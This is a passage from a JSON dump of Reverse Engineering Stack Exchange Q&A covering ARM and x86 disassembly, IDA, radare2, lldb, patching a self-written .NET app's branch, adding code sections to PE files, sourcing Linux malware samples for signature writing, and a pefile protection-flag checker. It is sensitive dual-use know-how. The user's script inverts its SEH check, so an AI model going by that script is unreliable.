happen, so it places its temporary single-step-breakpoint at the wrong location. Try to remember the address where an exception happens when single stepping, and be careful to add a breakpoint on the exception handler the next time.</p>\n"
    },
    {
        "Id": "9259",
        "CreationDate": "2015-06-30T05:36:05.397",
        "Body": "<p>I am very new to the reverse engineering but I am trying to create objective-c code from an ARM assembly for iOS. I have come a very long way but now I am stuck at a point. Can anyone please tell me what the following code means (taken from IDA pro):</p>\n\n<pre><code>__text:0050F428                 PUSH            {R4-R7,LR}\n__text:0050F42A                 ADD             R7, SP, #0xC\n__text:0050F42C                 PUSH.W          {R8,R10,R11}\n\n__text:0050F430                 MOVW            R2, #(:lower16:(aNNYnnQsJNFsQFs - 0x50F440)) ; \"\u00a6;(+;\u00a1+\\r\\r+\u00a1(;\\r|Y\u00a1\u00a1+\u0192s+j\u00a6\\r\u00a1\u00a6+;\u00a6fs+\u00a6+\"...\n\n__text:0050F434                 MOVS            R1, #0\n\n__text:0050F436                 MOVT.W          R2, #(:upper16:(aNNYnnQsJNFsQFs - 0x50F440)) ; \"\u00a6;(+;\u00a1+\\r\\r+\u00a1(;\\r|Y\u00a1\u00a1+\u0192s+j\u00a6\\r\u00a1\u00a6+;\u00a6fs+\u00a6+\"...\n\n__text:0050F43A                 MOVS            R3, #0x36\n\n__text:0050F43C                 ADD             R2, PC  ; \"\u00a6;(+;\u00a1+\\r\\r+\u00a1(;\\r|Y\u00a1\u00a1+\u0192s+j\u00a6\\r\u00a1\u00a6+;\u00a6fs+\u00a6+\"...\n\n__text:0050F43E                 MOV.W           R9, #0x32\n\n__text:0050F442                 MOV.W           R12, #0x65\n\n__text:0050F446                 MOV.W           LR, #0x39\n\n__text:0050F44A                 MOVS            R4, #0x62\n\n__text:0050F44C                 MOV.W           R10, #0x34\n\n__text:0050F450                 MOV.W           R11, #0x64\n\n__text:0050F454                 MOVS            R6, #0x31\n\n__text:0050F456 loc_50F456                              ; CODE XREF: sub_50F428+154j\n\n__text:0050F456                 LDRB.W          R8, [R2,R1]\n\n__text:0050F45A                 STRB.W          R8, [R0,R1]\n\n__text:0050F45E                 CMP.W           R8, #0x3A\n\n__text:0050F462                 BGT             loc_50F46E\n\n__text:0050F464                 CMP.W           R8, #0xD\n\n__text:0050F468                 IT EQ\n\n__text:0050F46A                 STREQB          R3, [R0,R1]\n\n__text:0050F46C                 B               loc_50F578 ; jumptable 0050F522 default case\n</code></pre>\n\n<p>The Pseudocode from Hopper is:</p>\n\n<pre><code>r2 = \"\"\\\\xB1;\\\\xF4\\\\xB8;\\\\xAD\\\\xBB\\\\r\\\\r\\\\xB8\\\\xAD\\\\xF4;\\\\r|Y\\\\xAD\\\\xAD\\\\xB8\\\\x9Fs\\\\xBBj\\\\xB2\\\\r\\\\xAD\\\\xB3\\\\xD8;\\\\xB3fs\\\\xD8\\\\xB2\\\\xB8\\\\xD8\\\\x9F\\\\xF4fs|Yj\\\\xBBY\\\\xD8\\\\xBB\\\\xF4\\\\xF4\\\\xB1j\\\\xB1\\\\xAD\\\\xF4f\\\\xAD\\\\xB1\\\\xD8Y;\\\\xB8\\\\xF4\\\\xBB\\\\xF4\";\"\n\nr8 = *(r2 + r1);\n*(r0 + r1) = r8;\nif (r8 &gt; 0x3a) goto loc_50f46e;\n</code></pre>\n\n<p>What I fail to understand is the type of the variable the whose value will be loaded in r2 register. If r2 contains a hex string then should i convert it to NSData? When the comparison is being done with 0x3A, what does that mean? Are they comparing the size of the data to 0x3A (58 in decimal i suppose).</p>\n\n<p>Sorry if this is very naive. As I said I am new and trying to learn.</p>\n",
        "Title": "Figure out the objective-c code from this snipette",
        "Tags": "|ida|ios|",
        "Answer": "<p>You have to see the three instructions</p>\n\n<pre><code>MOVW            R2, #(:lower16:(aNNYnnQsJNFsQFs - 0x50F440)) ; \"\u00a6;(+;\u00a1+\\r\\r+\u00a1(;\\r|Y\u00a1\u00a1+\u0192s+j\u00a6\\r\u00a1\u00a6+;\u00a6fs+\u00a6+\"...\nMOVT.W          R2, #(:upper16:(aNNYnnQsJNFsQFs - 0x50F440)) ; \"\u00a6;(+;\u00a1+\\r\\r+\u00a1(;\\r|Y\u00a1\u00a1+\u0192s+j\u00a6\\r\u00a1\u00a6+;\u00a6fs+\u00a6+\"...\nADD             R2, PC  ; \"\u00a6;(+;\u00a1+\\r\\r+\u00a1(;\\r|Y\u00a1\u00a1+\u0192s+j\u00a6\\r\u00a1\u00a6+;\u00a6fs+\u00a6+\"...\n</code></pre>\n\n<p>together. The <code>MOVW</code> and <code>MOVT.W</code> load the relative address of a string into <code>R2</code>; adding <code>PC</code> to it is the standard way on ARM to make code - and data - location-independent so the loader doesn't have to adjust to the load address.</p>\n\n<p>So, these instructions make <code>R2</code> point to the string '|;(+;......'.</p>\n\n<p>Also note that <code>R1</code> gets initialized to 0.</p>\n\n<p>At <code>loc_50F456</code> - which i assume is a loop start - the instructions get one byte from the <code>R2</code> string into <code>R8</code>, and write the byte to another string at <code>R0</code>. As <code>R0</code> hasn't been initialized yet, it's probably a function parameter. Note that the <code>LDRB</code> and the <code>STRB</code> opcodes both index with <code>R1</code> in addition to <code>R0</code>. This is typical for a loop that copies from <code>R2</code> to <code>R0</code> with <code>R1</code> being incremented each time.</p>\n\n<p>After that, <code>R8</code> still holds the byte from the <code>R2</code> string. Comparing it to <code>0x3A</code> means comparing it to 58 decimal, yes. But as the byte originates in a string, which consists of ASCII characters, you should look up the ASCII character for <code>0x3A</code>, which is <code>:</code>. So the <code>BGT</code> is done on any character 'greater' than that, which includes letters and some punctuation, but doesn't include numbers. And next, the code compares the character to <code>0x0D</code> - carriage return - which is <code>\\r</code>, and occurs several times in your string. If it <em>is</em> <code>\\r</code>, it gets replaced with the value from <code>R3</code>, which has been initialized to <code>0x36</code> earlier, which is the ASCII digit <code>6</code>.</p>\n\n<p>At <code>loc_50F46E</code>, you'll probably have more code that mangles your letters somehow.</p>\n\n<p>This seems to me like a part of a password checker, or serial number checker, where the password is encrypted in the code, so a simple <code>strings</code> command doesn't reveal it.</p>\n\n<p>BTW, if you're learning, it's often much easier to run this in a debugger, single-step, and check what each register contains after each step. In my experience, this helps you understand what's going on quicker than just glancing at the code, especially if you aren't familiar with what exactly each opcodes does.</p>\n\n<p>Also, don't rely on recompilation to C or something similar. Whatever a decompiler produces is an Approximation, and often one that doesn't resemble the original code very well. The C decompilation will allow you to understand code structure faster, once you're able to read assembly, but it will horribly confuse you if you don't understand the assembly and try to use it instead.</p>\n"
    },
    {
        "Id": "9262",
        "CreationDate": "2015-06-30T19:00:09.463",
        "Body": "<p>Is there website where you can submit an executable and it will run it through strings and give you the output?</p>\n",
        "Title": "Is there a website that hosts the strings application?",
        "Tags": "|strings|",
        "Answer": "<p><a href=\"http://www.fileformat.info/tool/strings.htm\" rel=\"nofollow\">http://www.fileformat.info/tool/strings.htm</a>\n\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b</p>\n"
    },
    {
        "Id": "9265",
        "CreationDate": "2015-07-01T10:01:51.913",
        "Body": "<p>Recently I faced with strange (in my opinion) behavior of radare2.</p>\n\n<p>I have been reading the <a href=\"https://dustri.org/b/defeating-crackme03-with-radare2.html\" rel=\"nofollow\">Artificial truth</a> blog post about <a href=\"http://hackingbits.github.io/blog/crackme-03/\" rel=\"nofollow\">Hacking bits</a> with this <a href=\"https://github.com/geyslan/crackmes/blob/master/src/crackme.03.asm\" rel=\"nofollow\">crackme</a>.</p>\n\n<p>In an article Julien used <strong><em>Intel</em></strong> syntax,\nbut I choose <strong><em>AT&amp;T</em></strong>.</p>\n\n<p>So I started disassemble crackme:</p>\n\n<pre><code>$ r2 ./crackme.03.32\n</code></pre>\n\n<p>Set syntax to intel, block size to 10 bytes and seek to needed address and print disassemble:</p>\n\n<pre><code>[0x00010020]&gt; e asm.syntax = intel\n[0x00010020]&gt; b 10\n[0x00010020]&gt; s 0x0010112\n[0x00010112]&gt; pd\n</code></pre>\n\n<p>Output was:</p>\n\n<pre><code>       0x00010112    80f2ac         xor dl, 0xac\n       0x00010115    eb02           jmp 0x10119\n</code></pre>\n\n<p>But when I changed syntax to ATT:</p>\n\n<pre><code>[0x00010112]&gt; e asm.syntax = att\n[0x00010112]&gt; pd\n</code></pre>\n\n<p>I received that:</p>\n\n<pre><code>       0x00010112    80f2ac         xorb $-0x54, %dl\n       0x00010115    eb02           jmp 0x10119\n</code></pre>\n\n<p>In the <a href=\"https://github.com/geyslan/crackmes/blob/master/src/crackme.03.asm#L159\" rel=\"nofollow\">source code</a> of crackme we can find that value of argument is 0xac <em>(xor dl, 0xac)</em>.</p>\n\n<h2>So, actually, question:</h2>\n\n<p>Why <strong>80 f2 ac</strong> translate to the same opcodes, but with different arguments for AT&amp;T and Intel syntax.</p>\n\n<p><strong><em>Why 0xac became -0x54?</em></strong></p>\n\n<hr>\n\n<pre><code>$ r2 -version\nradare2 0.10.0-git 8247 @ linux-little-x86-64 git.0.9.9-148-gd5f2661\ncommit: d5f2661cbe1a32bc26490bd7a1864ef45907aaea build: 2015-06-26\n</code></pre>\n",
        "Title": "AT&T XOR argument at radare2",
        "Tags": "|radare2|disassemblers|crackme|",
        "Answer": "<p>It was signed and unsigned question.</p>\n\n<p>The way to change the signedness is by negating it, which is NOTing all bits of that number and incrementing it by 1</p>\n\n<pre><code>&gt;&gt;&gt; 256 - (~(-0x54)+1)\n172\n&gt;&gt;&gt; hex(172)\n'0xac'\n&gt;&gt;&gt; \n</code></pre>\n"
    },
    {
        "Id": "9269",
        "CreationDate": "2015-07-01T18:02:06.647",
        "Body": "<p>I have a PE which I'd like to edit. I know I can create patches in OllyDbg and similar tools, but they all have one thing in common: I have to overwrite some present code in file. I wonder if it is possible to somehow enlarge the executable, put the code in the appended part, and then just change a few instructions in original part to <code>jmp</code> to the new part? I searched over the Internet, but I haven't found an obvious solution (well, some propose writing code in NOP sections, but my code i longer than the longest of them).</p>\n\n<p>Note that the PE is 64-bit, so the solution must work for this architecture.</p>\n",
        "Title": "How to add code to Portable Executable?",
        "Tags": "|pe|patching|",
        "Answer": "<p>Yes, you can add a new section to your PE file.</p>\n\n<p>High-level instructions at <a href=\"http://www.woodmann.com/fravia/covert1.htm\" rel=\"nofollow\">Adding sections to PE Files</a> and low-level instructions at <a href=\"http://www.codeproject.com/Articles/12532/Inject-your-code-to-a-Portable-Executable-file\" rel=\"nofollow\">Inject your code to a Portable Executable file</a>.</p>\n"
    },
    {
        "Id": "9273",
        "CreationDate": "2015-07-02T06:33:39.730",
        "Body": "<p>I can access the FS:[0h] which points to the SEH chain but cannot do the same for other segment registers.What is the reason for it ?</p>\n\n<p>Also,I was debugging an exe which has PTRD at 0x600 and AEP at 0x1000 (same as PTRD) but at offset 0x400 I see some instructions which I have seen in some other files too. In my sample it is unreachable code,but in one test exe which I wrote using WINASM/MASM it was same sequence of instructions just had a bit more instruction .If I change the AEP to 400 the assembly is as follows:</p>\n\n<pre><code>00400400    6A 00           PUSH 0  \n00400402    68 05304000     PUSH 00403005  \n00400407    68 00304000     PUSH 00403000  \n0040040C    6A 00           PUSH 0  \n0040040E    E8 17040000     CALL 0040082A  \n00400413    6A 00           PUSH 0  \n00400415    E8 16040000     CALL 00400830  \n0040041A    E8 17040000     CALL 00400836  \n0040041F    E8 1E040000     CALL 00400842  \n00400424    E8 13040000     CALL 0040083C  \n00400429    C3              RETN     \n</code></pre>\n\n<p>I wrote a Hello world program in MASM which had AEP at 0x1000 the code seems similar but  I can debug it  i.e it is not unreachable/dead code like previous one.It is as follows:</p>\n\n<pre><code>00401000    6A 00           PUSH 0                                   \n00401002    68 00304000     PUSH OFFSET 00403000                     \n00401007    68 06304000     PUSH OFFSET 00403006                     \n0040100C    6A 00           PUSH 0                                   \n0040100E    E8 0D000000     CALL &lt;JMP.&amp;user32.MessageBoxA&gt;           \n00401013    A3 14304000     MOV DWORD PTR DS:[403014],EAX\n00401018    33C0            XOR EAX,EAX\n0040101A    50              PUSH EAX                                 \n0040101B    E8 06000000     CALL &lt;JMP.&amp;kernel32.ExitProcess&gt;         \n00401020    FF25 08204000   JMP DWORD PTR DS:[&lt;&amp;user32.MessageBoxA&gt;]\n00401026    FF25 00204000   JMP DWORD PTR DS:[&lt;&amp;kernel32.ExitProcess \n</code></pre>\n\n<p>So my question is how come code is coming in my sample at offset 0x400,what is the use of this code ,is there some compiler which is putting it out there?  </p>\n\n<p>Note:Its a virus sample and I am a starter.Thanks for the answers in advance...</p>\n",
        "Title": "Why can I access FS:[0] in OllyDbg but not offsets to CS,DS,SS?",
        "Tags": "|ollydbg|malware|windbg|patch-reversing|",
        "Answer": "<p>executable code might start as low as base+0x2b0 if the linker switch /ALIGN:16 is used</p>\n\n<p><img src=\"https://i.stack.imgur.com/VoTq4.png\" alt=\"enter image description here\"></p>\n\n<h2>edit</h2>\n\n<p>the dead code could be a function that was compiled and linked but never called  if you modufy the src above like this and compile the first call to messagebox will be available in the binary but no one will be referring it </p>\n\n<pre><code>#include &lt;windows.h&gt;\n#pragma comment(lib , \"user32.lib\")\nvoid deadcode(void)\n{\n  MessageBox(0,\"iam dead\",\"yep deady dead deady dead\",0);\n}\nvoid main (void) {\n  MessageBoxA(0,\"disme to see me low\",\n  \"using align 16 and merge sections iam slim(e)y\",\n  0);\n} \n</code></pre>\n\n<p>this is the dead code that was never referenced but still exists </p>\n\n<pre><code>&gt;cdb -c \"x msgbox!*;q\" msgbox.exe | grep main\n004002d0 msgbox!main (void)\n\n&gt;cdb -c \"u msgbox+2d0-20;q\" msgbox.exe | grep -A 4 55\n004002b0 55              push    ebp\n004002b1 8bec            mov     ebp,esp\n004002b3 6a00            push    0\n004002b5 680c024000      push    offset msgbox!\u2302USER32_NULL_THUNK_DATA+0x28 (004\n0020c)\n004002ba 6828024000      push    offset msgbox!\u2302USER32_NULL_THUNK_DATA+0x44 (004\n00228)\n\n&gt;cdb -c \"da msgbox+20c;q\" msgbox.exe | grep dead\n0040020c  \"yep deady dead deady dead\"\n</code></pre>\n"
    },
    {
        "Id": "9277",
        "CreationDate": "2015-07-03T02:38:16.377",
        "Body": "<p>I am new user of IDA Pro. The version I am using is 6.8 demo.\nI know conceptions of program segmentation and segment register. \nBut, I am confused about why there are two views, \"Program Segmentation\" and \"Segment register\"\nBelew is snapshot of program segmentation view.\n<img src=\"https://i.stack.imgur.com/ZPdXd.png\" alt=\"enter image description here\">\nBelew is snapshot of program register view\n<img src=\"https://i.stack.imgur.com/eMa0z.gif\" alt=\"enter image description here\">\nAs we can see the information of two views is almost duplicated.</p>\n",
        "Title": "What's the use of \"Segments Registers\" sub view of IDA Pro?",
        "Tags": "|ida|",
        "Answer": "<p>This was interesting when DOS was the operating system of choice, processors had 16 bits, and programs were larger than 64 KB. Those times, the content of segment registers changed a lot; programs had to use far jumps (that changed CS and IP) to jump to addresses more than 64 KB away, and they had to load a value into DS or ES first to access large data segments (or load <code>0x0040</code> into ES to access BIOS data structures and have access to the 'high resolution timer' which changed 18.2 times a second).</p>\n\n<p>Here's part of the disassembly of an old 16 bit program:</p>\n\n<p><img src=\"https://i.stack.imgur.com/Nc3PN.png\" alt=\"enter image description here\"></p>\n\n<p>Please note that there are three segment changes that change the assumption of IDA about the contents of the segments, and another one at <code>25EB</code> where <code>ES</code> is 'changed' to <code>seg130</code>, which isn't really a change, so there's no <code>assume</code> directive.</p>\n\n<p>Here's the corresponding segment registers view:</p>\n\n<p><img src=\"https://i.stack.imgur.com/bh5wy.png\" alt=\"enter image description here\"></p>\n\n<p>in which <code>15412</code> corresponds to <code>seg001:25B2</code>; if you click on that row in IDA, the program view will jump to that address. The following 3 'change points' correspond to the next addresses where the code actually changes a segment register value.</p>\n\n<p>Those days, programs contained several code segments, and several data segments, so the program segmentation view had a lot to show as well:</p>\n\n<p><img src=\"https://i.stack.imgur.com/opPEb.png\" alt=\"enter image description here\"></p>\n\n<p>you see there are many <code>CODE</code> segments and many <code>UNK</code>nown segments, only a small part of the whole program is shown. Each of these <code>CODE</code> segments used a different value for <code>CS</code>, which is why IDA creates a new segment register change entry for each new segment.</p>\n\n<p>These days, unless you're disassembling kernel code, you won't see segment register changes at all, and even if you're disassembling the kernel, you'll have one code segment and one data segment, not many of them. So IDA just creates one segment from each section of the input file, and creates the corresponding change points, but there's no change point except the ones that are created for the segments. Which is why the views correspond to each other, and which is also why you're not interested in either of them in most cases.</p>\n"
    },
    {
        "Id": "9279",
        "CreationDate": "2015-07-03T11:14:22.057",
        "Body": "<p>There have been numerous sites stated in this wonderful <a href=\"https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze\">post</a> that one could retrieve malware samples. However, I am having a difficult time (sorry D:) locating Linux-specific malware from those sites as mostly are samples for Windows (I think). Where can I find and download these Linux samples that I seek?</p>\n\n<p>BTW, this is for learning to create ClamAV and YARA signatures.</p>\n",
        "Title": "Where can I get Linux malware samples?",
        "Tags": "|malware|linux|elf|",
        "Answer": "<p>You can also obtain files from <a href=\"https://www.virussamples.com\" rel=\"nofollow noreferrer\">https://www.virussamples.com</a> and download many ELF and PE files among others.  There are daily batches available.</p>\n"
    },
    {
        "Id": "9281",
        "CreationDate": "2015-07-03T12:30:00.010",
        "Body": "<p>So, its been very interesting to reverse engineer an iOS application and I have made significant improvement into learning how to read disassembly and understand them. Now I was trying to debug the iOS app using lldb debugserver.</p>\n\n<p>I was able to attach my system to my jailbroken ipad running the gdb server and hooked it to one of the running process. Now the problem is, that the executable has no symbols (or at least lldb is telling me that). But when I tried to disassemble it in IDA Pro and Hopper, I was able to get all the objective-c classes and functions names. </p>\n\n<p>For example, one of the function that is being used is HMACWithSecret which has the signature -[NSString(HMAC) HMACWithSecret:]</p>\n\n<p>If I try to set a break point from lldb using the command</p>\n\n<pre><code>b -[NSString(HMAC) HMACWithString:]\n</code></pre>\n\n<p>Or any other variant</p>\n\n<pre><code>b HMACWithSecret:\nb HMACWithSecret\n</code></pre>\n\n<p>It fails to find a location for the same. I know that in objective-c every call is made via objc_msgSend with arguments about which function to call. But if i want to set a breakpoint in the above function (or any other I reveal via Hopper/IDA Pro) what should I do? </p>\n",
        "Title": "Setting Breakpoints at functions decoded by Hopper/IDA Pro in an iOS app",
        "Tags": "|ida|ios|hopper|lldb|",
        "Answer": "<p>I was able to achieve this by installing gdbserver on my ipad. Then i ssh into the ipad and attach a remote lldb debugger (xcode tools) to attack breakpoints. A long method but works. There are now tools to debug in same way on android and ios. </p>\n"
    },
    {
        "Id": "9284",
        "CreationDate": "2015-07-03T20:10:48.230",
        "Body": "<p>I'd like to improve my reverse engineering skills, so I made this WPF application (targeting x64, of course):</p>\n\n<p><strong>MainWindow.xaml</strong>:</p>\n\n<pre><code>&lt;Window x:Class=\"ApplicationTest.MainWindow\"\n        xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n        xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n        Title=\"Harness\"\n        WindowStyle=\"ToolWindow\"\n        Width=\"200\"\n        Height=\"200\"&gt;\n    &lt;Grid&gt;\n        &lt;Button Content=\"Go\" Click=\"Button_Click\"/&gt;\n    &lt;/Grid&gt;\n&lt;/Window&gt;\n</code></pre>\n\n<p><strong>MainWindow.xaml.cs</strong>:</p>\n\n<pre><code>namespace ApplicationTest\n{\n    public partial class MainWindow : Window\n    {\n        public MainWindow()\n        {\n            InitializeComponent();\n        }\n\n        private void Button_Click(object sender, RoutedEventArgs e)\n        {\n            var value = \"No\";\n            if (value.Equals(\"No\", StringComparison.OrdinalIgnoreCase))\n                MessageBox.Show(\"You cannot proceed.\");\n            else\n                MessageBox.Show(\"Well done, lad.\");\n        }\n    }\n}\n</code></pre>\n\n<p>When I debug it with <a href=\"http://x64dbg.com/#start\" rel=\"nofollow\">x64dbg</a>, I'm trying to find the location of the <code>value.Equals(\"No\", StringComparison.OrdinalIgnoreCase)</code> comparison, but I am having trouble finding a way to trace the application to its button click event. Ideally, I want to use x64dbg to modify my application's executable and have it run the <code>else</code> statement and print <code>\"Well done, lad.\"</code> instead. How can this be achieved?</p>\n\n<p>In my Symbols window, under the <code>applicationtest.exe</code> symbol, I see <code>Button_Click</code> at a particular address, but when I try to set breakpoints in or around here in the <code>Disassembler</code> view it never hits them when I click the actual button.</p>\n",
        "Title": "How can I use an x64 debugger to reroute a .NET application's logic?",
        "Tags": "|windows|debuggers|executable|x86-64|.net|",
        "Answer": "<p><strong>Modifying a Release-Mode .NET Assembly</strong></p>\n\n<p>Since IL is so simple, one way to achieve the same result without a debugger is to simply decompile the executable using ILDASM on a corresponding <strong>.NET release mode x64 executable</strong> using the following command line command:</p>\n\n<pre><code>\"C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v8.1A\\bin\\NETFX 4.5.1 Tools\\ildasm.exe\" ApplicationTest.exe /out:Disassembly.asm\n</code></pre>\n\n<p>In the disassembly, you will see the following IL instructions under the <code>Button_Click</code> method:</p>\n\n<pre><code>IL_000d:  callvirt   instance bool [mscorlib]System.String::Equals(string,\n                                                                       valuetype [mscorlib]System.StringComparison)\n    IL_0012:  brfalse.s  IL_0020\n\n    IL_0014:  ldstr      \"You cannot proceed.\"\n</code></pre>\n\n<p>It's very verbose and looks almost identical to your original .NET code so it makes it really easy to find the location of your corresponding code. Modify the text <code>brfalse</code> to be <code>brtrue</code>, and compile it using ILASM:</p>\n\n<pre><code>\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ilasm.exe\" Disassembly.asm\n</code></pre>\n\n<p>The result will be an assembly named <code>Disassembly.exe</code> which is nearly identical to the original assembly except that it has rerouted application logic. Now when you execute it, clicking the button will print <code>Well done, lad.</code>.</p>\n\n<p><strong>Note</strong>: You may need to download the Windows SDK or corresponding .NET Framework your .NET project is running in order to get access to ILDASM or ILASM. Also, these tools may not work if your .NET application uses a different version of the .NET framework than the .NET versions that the version of ILDASM or ILASM you are using target.</p>\n\n<p><strong>Debugging a Release-Mode .NET Assembly's MSIL Assembly Code Line-by-Line</strong></p>\n\n<p>To directly answer the question, you can debug release-mode .NET assemblies line by line. You first need to decompile any .NET assembly into IL code as I have shown above, using ildasm. Then, you can recompile your assembly in ilasm using the <code>/pdb</code> flag (<code>ilasm Disassembly.asm /pdb</code>) to create a debug database that will let you debug any .NET assembly line by line. Here is a simple demonstration of how to do that. Once you have compiled using <code>ilasm Disassembly.asm /pdb</code>, launch the executable (<code>Disassembly.exe</code>). In Visual Studio, go to <code>Tools -&gt; Attach to process</code> and attach the debugger to <code>Disassembly.exe</code>. Once attached, go to <code>Debug -&gt; Options and Settings -&gt; Debugger -&gt; Symbols</code> and make sure you add the location of the folder hosting the <code>Disassembly.pdb</code> file (it should be the same folder that <code>Disassembly.exe</code> is in if you followed this guide correctly thus far. Hit the pause button in Visual Studio to freeze execution and go to <code>Debug -&gt; Windows -&gt; Threads</code> and view your threads. Navigate through the threads by double clicking on them. You may need to disable <code>Just my code</code>. If it prompts you, go ahead and do it, it should be a single click in the thread view. Eventually, you will see that one of your threads shows you the IL <code>Disassembly.asm</code>. You can add breakpoints in and debug it line by line. Here is a screenshot:</p>\n\n<p><img src=\"https://i.stack.imgur.com/DKTor.png\" alt=\"enter image description here\"></p>\n\n<p>Just a quick note, you may need to resume then freeze again after loading symbols so that Visual Studio synchronizes them. Also, for this to work, you will need the corresponding <code>Disassembly.asm</code> file in the same directory as well.</p>\n\n<p>Also, Visual Studio has a handy Disassembly View (<code>Debug -&gt; Windows -&gt; Disassembly</code>) which shows you the machine instructions generated by JIT instead of IL instructions, but this window you cannot debug, presumably because JIT generates this stuff dynamically.</p>\n"
    },
    {
        "Id": "9293",
        "CreationDate": "2015-07-05T18:27:45.090",
        "Body": "<p>i use <code>pefile</code> library for help me in vulnerability research,malware analysis  and exploit development and try to write script help me to know which protections binary use</p>\n\n<p>i know <code>mona.py</code> from corelan team but i just need to write some tools will help me without use mona <code>because i'm not use immunity debugger i use python debugger</code></p>\n\n<p>====update=========<br>\ni wrote this script  </p>\n\n<pre><code>import os.path\nimport sys\nimport pefile\n\nclass PESecurityCheck:\n\n  IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x0040\n  IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x0100\n  IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400\n  IMAGE_DLLCHARACTERISTICS_GUARD_CF = 0x4000\n\n\n\n  def __init__(self,pe):\n    self.pe = pe\n\n  def aslr(self):\n    return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics &amp; self.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)\n\n  def dep(self):\n    return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics &amp; self.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)\n\n  def seh(self):\n    return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics &amp; self.IMAGE_DLLCHARACTERISTICS_NO_SEH)\n\n  def CFG(self):\n    return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics &amp; self.IMAGE_DLLCHARACTERISTICS_GUARD_CF)\n\nif len(sys.argv) &lt; 2:\n  print 'Usage: %s &lt;file_path&gt;' % sys.argv[0] \n  sys.exit()\n\ndef main():\n  file_path = sys.argv[1]   \n\n  try:\n    if os.path.isfile(file_path):\n      pe = pefile.PE(file_path,True)\n    else:\n      print \"File '%s' not found!\" % file_path     \n      sys.exit(0)  \n  except pefile.PEFormatError:\n    print \"Not a PE file!\"\n    sys.exit(0)  \n\n  ps = PESecurityCheck(pe)\n\n  if ps.aslr():\n    print \"[+] ASLR Enabled\"\n  else:\n    print \"[-] ASLR Not Enabled\"\n\n  if ps.dep():\n    print \"[+] DEP Enabled\"\n  else:\n    print \"[-] DEP Not Enabled\"\n\n  if ps.seh():\n    print \"[+] SEH Enabled\"\n  else:\n    print \"[-] SEH Not Enabled\"\n\n  if ps.CFG():\n    print \"[+]CFG Enabled\"\n  else:\n    print \"[-] CFG Not Enabled\"\n\nif __name__ == '__main__':\n  main()\n</code></pre>\n",
        "Title": "how use pefile to check for NX, ASLR, SAFESEH and CFG (Control Flow Guard) flag",
        "Tags": "|windows|pe|protection|",
        "Answer": "<p><strong>NX:</strong></p>\n\n<p><code>IMAGE_OPTIONAL_HEADER.DllCharacteristics &amp; IMAGE_DLLCHARACTERISTICS_NX_COMPAT != 0</code></p>\n\n<p><strong>ASLR:</strong></p>\n\n<p><code>IMAGE_OPTIONAL_HEADER.DllCharacteristics &amp; IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE != 0</code></p>\n\n<p><strong>SAFESEH:</strong></p>\n\n<p><code>(IMAGE_OPTIONAL_HEADER.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress != 0)\n&amp;&amp; (IMAGE_OPTIONAL_HEADER.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].Size != 0 )</code></p>\n\n<p><strong>CFG:</strong></p>\n\n<p><code>IMAGE_OPTIONAL_HEADER.DllCharacteristics &amp; IMAGE_DLLCHARACTERISTICS_GUARD_CF != 0</code></p>\n"
    },
    {
        "Id": "9296",
        "CreationDate": "2015-07-06T13:26:48.893",
        "Body": "<p>I have a couple of streams that look pretty odd within a <code>DICOM</code> file. In a few words, <a href=\"http://medical.nema.org/medical/dicom/current/output/chtml/part05/chapter_7.html#sect_7.1.2\" rel=\"nofollow noreferrer\">DICOM</a> is very close to what <em>binary XML</em> would look like. Almost all of the information from those DICOM files are straighforward and can be read and interpreted nicely with <a href=\"http://dcmtk.org/\" rel=\"nofollow noreferrer\">DCMTK</a> and/or <a href=\"http://sourceforge.net/projects/gdcm/\" rel=\"nofollow noreferrer\">GDCM</a>.</p>\n\n<p>However there are two binary fields stored within the end of the file that looks like <em>private</em> encoded information. Since DICOM is mostly for <em>interoperability</em> in between system, vendors are actually storing there own internal file format within one of the field of the DICOM file (declared as private field, much like what would people in the TIFF world would do). In my past experience, the encoding was trivial (plain <code>struct</code> stored as binary), see <a href=\"https://github.com/malaterre/GDCM/blob/master/Applications/Cxx/gdcmdump.cxx#L67\" rel=\"nofollow noreferrer\">here</a> or <a href=\"https://github.com/malaterre/GDCM/blob/master/Source/DataStructureAndEncodingDefinition/gdcmCSAHeader.cxx#L986\" rel=\"nofollow noreferrer\">here</a> for example.</p>\n\n<p>Now if I extract the binary blobs from the DICOM file (debian/jessie amd64), here is what I see :</p>\n\n<pre><code>$ gdcmraw -t 7101,1000 input.dcm file1000.gz\n$ gdcmraw -t 7101,1002 input.dcm file1002.gz\n$ file file1000.gz file1000.gz: gzip compressed data, max compression, from FAT filesystem (MS-DOS, OS/2, NT)\n\n$ gunzip file1000.gz\n\ngzip: file1000.gz: invalid compressed data--format violated\n</code></pre>\n\n<p>However <code>gunzip</code> is not capable of decompressing them. Could someone with more gzip knowledge please check if those files are actually gzip compressed ? It looks like it's possible to decompress them because in the medical industry we tend to re-use code whenever possible. For example a well known MRI vendor is also using <code>gzip</code> compressed stream to store its private file format, see <a href=\"https://github.com/malaterre/GDCM/blob/master/Source/DataStructureAndEncodingDefinition/gdcmPDBHeader.cxx#L25\" rel=\"nofollow noreferrer\">here</a> for example (full thread <a href=\"https://groups.google.com/d/msg/comp.protocols.dicom/mxnCkv8A-i4/sHcN_oFeNekJ\" rel=\"nofollow noreferrer\">here</a>).</p>\n\n<p>The obfuscation should be pretty trivial too because it needs to pass medical industry clearance. From past experience, I've only seen byte reversing being used or simple incremental XOR.</p>\n\n<p>I've uploaded come of the files here:</p>\n\n<ul>\n<li><a 